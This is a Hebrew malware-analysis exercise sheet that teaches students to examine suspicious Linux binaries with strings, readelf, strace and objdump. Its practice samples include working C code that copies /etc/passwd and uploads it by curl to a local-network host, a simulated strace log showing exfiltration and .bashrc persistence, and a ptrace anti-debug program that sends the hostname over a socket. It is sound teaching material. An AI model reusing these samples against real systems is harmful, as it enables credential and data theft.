לדלג לתוכן

7.5 ניתוח תוכנות זדוניות תרגול

תרגיל 1 - ניתוח סטטי עם strings ו-readelf

קמפלו את התוכנית הבאה (אל תסתכלו על הקוד אחרי שקמפלתם - התייחסו אליה כאילו היא לא מוכרת לכם):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    FILE *f = fopen("/etc/passwd", "r");
    if (f == NULL) return 1;

    char line[256];
    FILE *out = fopen("/tmp/.cache_data", "w");

    while (fgets(line, sizeof(line), f)) {
        fputs(line, out);
    }

    fclose(f);
    fclose(out);

    system("curl -s http://192.168.1.100:8080/upload -d @/tmp/.cache_data");
    unlink("/tmp/.cache_data");

    return 0;
}
gcc -o sample1 sample1.c
strip sample1

עכשיו, בלי להסתכל על הקוד המקורי, בצעו:
1. הריצו file sample1 - מה סוג הקובץ?
2. הריצו strings sample1 - אילו מחרוזות מעניינות מצאתם?
3. הריצו readelf -d sample1 - אילו ספריות דינמיות התוכנה צריכה?
4. בהתבסס על מה שמצאתם - מה לדעתכם התוכנית עושה? מה חשוד בה?


תרגיל 2 - זיהוי התנהגות מפלט strace

הנה פלט strace מדומה של תוכנית חשודה. נתחו אותו וענו על השאלות:

execve("./malware", ["./malware"], ...) = 0
...
open("/proc/self/status", O_RDONLY)     = 3
read(3, "Name:\tmalware\nTracerPid:\t0\n...", 1024) = 256
close(3)                                 = 0
open("/etc/shadow", O_RDONLY)            = -1 EACCES (Permission denied)
open("/etc/passwd", O_RDONLY)            = 3
read(3, "root:x:0:0:root:/root:/bin/bash\n...", 4096) = 2048
close(3)                                 = 0
socket(AF_INET, SOCK_STREAM, 0)         = 4
connect(4, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("10.0.0.50")}, 16) = 0
write(4, "root:x:0:0:root:/root:/bin/bash\n...", 2048) = 2048
close(4)                                 = 0
open("/home/user/.bashrc", O_WRONLY|O_APPEND) = 5
write(5, "\n/tmp/.hidden_process &\n", 24) = 24
close(5)                                 = 0
mkdir("/tmp/.hidden_dir", 0755)          = 0
open("/tmp/.hidden_dir/payload", O_WRONLY|O_CREAT, 0755) = 6
write(6, "\x7fELF...", 4096)            = 4096
close(6)                                 = 0
fork()                                   = 1234
execve("/tmp/.hidden_dir/payload", ...) = 0
  1. מה התוכנית בודקת ב-/proc/self/status? למה?
  2. אילו קבצים רגישים התוכנית מנסה לקרוא?
  3. לאן התוכנית שולחת נתונים? באיזה פורט?
  4. איך התוכנית יוצרת persistence (התמדה)?
  5. מה התוכנית עושה בסוף?
  6. ציינו את כל ה-IOC-ים (מזהי פשרה) שאתם מזהים

תרגיל 3 - זיהוי ייבואים חשודים

קמפלו את התוכנית הבאה:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int main() {
    // Anti-debug
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) {
        return 1;
    }

    // Create socket
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(9999);
    inet_pton(AF_INET, "10.0.0.1", &addr.sin_addr);

    // Connect
    connect(sock, (struct sockaddr*)&addr, sizeof(addr));

    // Send data
    char hostname[256];
    gethostname(hostname, sizeof(hostname));
    send(sock, hostname, strlen(hostname), 0);

    close(sock);
    return 0;
}
gcc -o sample3 sample3.c
strip sample3
  1. הריצו objdump -T sample3 כדי לראות את הייבואים (פונקציות חיצוניות)
  2. אילו פונקציות מרשימת הייבואים חשודות? למה?
  3. סווגו כל פונקציה חשודה לקטגוריה: רשת, אנטי-דיבוג, איסוף מידע
  4. בהתבסס על הייבואים בלבד (בלי להריץ!) - מה לדעתכם התוכנית עושה?

תרגיל 4 - עיצוב צ'קליסט לניתוח

עצבו צ'קליסט (רשימת בדיקות) מלאה לניתוח קובץ בינארי חשוד. הצ'קליסט צריכה לכלול:

  1. שלב ההכנה - מה צריך להכין לפני שמתחילים?
  2. ניתוח סטטי ראשוני - אילו פקודות להריץ ומה לחפש?
  3. ניתוח סטטי עמוק - מה לבדוק בגידרה?
  4. ניתוח דינמי - אילו כלים להשתמש ומה לנטר?
  5. תיעוד - מה לתעד ואיך?

כתבו לפחות 3 פריטים בכל שלב.


תרגיל 5 - טכניקות אנטי-ניתוח

הסבירו כל אחת מטכניקות האנטי-ניתוח הבאות. לכל אחת, הסבירו:
- מה הטכניקה עושה?
- למה תוכנה זדונית משתמשת בה?
- איך אפשר לזהות אותה בניתוח?

  1. בדיקת TracerPid ב-/proc/self/status
  2. שימוש ב-ptrace(PTRACE_TRACEME)
  3. בדיקות זמן - clock_gettime או rdtsc לפני ואחרי קטע קוד
  4. השהיה ארוכה עם sleep(300) בתחילת התוכנית
  5. בדיקת קיומם של כלים כמו gdb, strace, ghidra בתוך /proc